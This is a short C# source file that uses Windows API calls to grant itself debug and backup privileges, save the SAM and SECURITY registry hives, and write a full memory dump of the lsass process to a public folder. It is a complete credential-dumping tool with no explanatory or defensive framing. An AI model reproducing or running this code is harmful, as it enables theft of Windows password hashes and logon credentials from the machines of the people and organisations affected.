using System;
using System.Runtime.InteropServices;

public class G {
  [DllImport("advapi32.dll", SetLastError=true)]
  static extern bool OpenProcessToken(IntPtr h, uint acc, out IntPtr tok);
  [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
  static extern bool LookupPrivilegeValue(string host, string name, out long luid);
  [DllImport("advapi32.dll", SetLastError=true)]
  static extern bool AdjustTokenPrivileges(IntPtr tok, bool dis, ref TP ns, int len, IntPtr prev, IntPtr ret);

  [StructLayout(LayoutKind.Sequential)]
  struct TP { public int Count; public long Luid; public int Attr; }

  [DllImport("kernel32.dll", SetLastError=true)] static extern IntPtr OpenProcess(uint a, bool inh, int pid);
  [DllImport("kernel32.dll", SetLastError=true)] static extern bool CloseHandle(IntPtr h);
  [DllImport("dbghelp.dll", SetLastError=true)] static extern bool MiniDumpWriteDump(IntPtr hProc, int pid, IntPtr hFile, int type, IntPtr a, IntPtr b, IntPtr c);

  [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
  static extern int RegOpenKeyEx(IntPtr hKey, string sub, int opt, int sam, out IntPtr res);
  [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
  static extern int RegSaveKeyEx(IntPtr hKey, string file, IntPtr sec, int flags);

  static readonly IntPtr HKLM = new IntPtr(unchecked((int)0x80000002));

  static bool Priv(string name){
    IntPtr tok;
    if(!OpenProcessToken(new IntPtr(-1), 0x0028, out tok)) return false;
    long luid;
    if(!LookupPrivilegeValue(null, name, out luid)) return false;
    TP tp; tp.Count=1; tp.Luid=luid; tp.Attr=0x2;
    return AdjustTokenPrivileges(tok, false, ref tp, Marshal.SizeOf(typeof(TP)), IntPtr.Zero, IntPtr.Zero);
  }

  public static string Run(){
    string o="";
    o+="SeDebug="+Priv("SeDebugPrivilege")+";";
    o+="SeBackup="+Priv("SeBackupPrivilege")+";";
    string[] keys={"SECURITY","SAM"};
    foreach(string k in keys){
      IntPtr hk;
      int r=RegOpenKeyEx(HKLM,k,0,0x20019,out hk);
      if(r!=0){ o+=k+"_OpenErr="+r+";"; continue; }
      string f=@"C:\Users\Public\ds\"+k+".hiv";
      int r2=RegSaveKeyEx(hk,f,IntPtr.Zero,2);
      CloseHandle(hk);
      o+=k+"_Save="+r2+";";
    }
    int pid=0;
    foreach(var p in System.Diagnostics.Process.GetProcessesByName("lsass")) pid=p.Id;
    o+="lsassPid="+pid+";";
    IntPtr hp=OpenProcess(0x1F0FFF,false,pid);
    if(hp==IntPtr.Zero){ o+="OpenProcErr="+Marshal.GetLastWin32Error()+";"; }
    else{
      using(var fs=new System.IO.FileStream(@"C:\Users\Public\ds\lsass.dmp", System.IO.FileMode.Create, System.IO.FileAccess.Write)){
        bool ok=MiniDumpWriteDump(hp,pid,fs.SafeFileHandle.DangerousGetHandle(),2,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero);
        o+="dump="+ok+" err="+Marshal.GetLastWin32Error()+";";
      }
      CloseHandle(hp);
    }
    return o;
  }
}